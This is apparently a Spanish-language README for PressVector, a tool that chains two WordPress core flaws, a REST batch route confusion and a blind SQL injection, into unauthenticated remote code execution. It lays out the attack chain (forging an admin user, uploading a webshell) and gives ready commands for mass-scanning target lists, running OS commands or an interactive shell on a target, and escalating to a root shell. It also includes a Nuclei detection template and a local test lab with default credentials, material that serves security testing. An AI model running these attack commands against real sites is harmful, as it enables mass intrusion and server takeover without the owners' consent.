
PressVector - Escáner avanzado de vulnerabilidades de WordPress CVE-2026-63030 (confusión de rutas batch REST) / CVE-2026-60137 (SQLi) Desarrollador: Vulnquest
⚡ Framework avanzado de explotación de RCE pre-autenticación y SQLi ciega para WordPress Core
PressVector es un framework de explotación integral y totalmente automatizado dirigido a CVE-2026-63030 y CVE-2026-60137, dos vulnerabilidades críticas en el núcleo de WordPress que, combinadas, permiten la ejecución remota de código sin autenticación.
El framework encadena una confusión de rutas por lotes de REST con una inyección SQL ciega para falsificar sesiones de administrador, desplegar webshells y ejecutar comandos arbitrarios del sistema operativo, todo ello sin credenciales.
⚠️ Solo para pruebas de seguridad autorizadas y fines educativos.
CVE-2026-63030 es una vulnerabilidad crítica de RCE pre-autenticación en el núcleo de WordPress, descubierta por Adam Kues (Assetnote / Searchlight Cyber). El exploit encadena dos vulnerabilidades independientes:
| CVE | Aviso | Tipo | Impacto |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | Confusión de rutas por lotes de REST | RCE pre-autenticación |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | Inyección SQL en author__not_in | SQLi ciega pre-autenticación |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| Versión de WordPress | CVE aplicables | Impacto | Estado |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 SQLi a ciegas (Alta) | ❌ Vulnerable |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 RCE preautenticación (Crítica) | ❌ Vulnerable |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 RCE preautenticación (Crítica) | ❌ Vulnerable |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (Alta) | ❌ Vulnerable |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ Parcheado | ✅ Seguro |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — Framework principal de explotaciónFramework de explotación con todas las funciones y 4 modos de operación.
scan — Escáner de vulnerabilidades multiobjetivoEscáner rápido y multihilo para detectar instalaciones de WordPress vulnerables a escala.
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — Confirmación de SQLi ciegaConfirma la inyección SQL ciega basada en tiempo en un único objetivo con calibración de tiempos.
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — Cadena completa de explotación RCEExplotación completa: falsificar admin → desplegar webshell → ejecutar comandos.
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — Escalada de privilegiosIntenta la escalada de privilegios local después de lograr RCE.
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — Plantilla de detección de NucleiUna plantilla de Nuclei lista para producción para la detección pasiva a gran escala.
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
Características de la plantilla:
Se incluye un laboratorio de pruebas de penetración completamente automatizado y contenedorizado para realizar pruebas seguras y aisladas de estas vulnerabilidades.
Windows (PowerShell):
cd pressvector-lab
.\start-lab.ps1
Linux / macOS:
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(Espera ~60-90 segundos en la primera ejecución para que el instalador de WP-CLI configure todos los sitios de WordPress automáticamente).
| Puerto | Servicio | Versión de WordPress | Vulnerabilidad / Estado |
|---|---|---|---|
| 8080 | Objetivo 1 | 6.8.5 | CVE-2026-60137 (solo SQLi ciega) 🔴 |
| 8081 | Objetivo 2 | 6.9.4 | CVE-2026-63030 (RCE pre-autenticación) 🔴 |
| 8082 | Objetivo 3 | 7.0.1 | CVE-2026-63030 (RCE pre-autenticación) 🔴 |
| 8083 | Referencia | Última | Parcheado / Referencia segura ✅ |
| 8084 | PHPMyAdmin | — | Herramienta de gestión de BD |
| 8085 | Panel del laboratorio | — | Interfaz web con el estado de los objetivos y comandos copiables 🖥️ |
Credenciales de administrador: admin / admin123
Contraseña root de MySQL: root
Puedes verificar todo el estado del laboratorio y las rutas de explotación usando la suite de pruebas automatizadas:
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh o .\stop-lab.ps1reset-lab.sh o .\reset-lab.ps1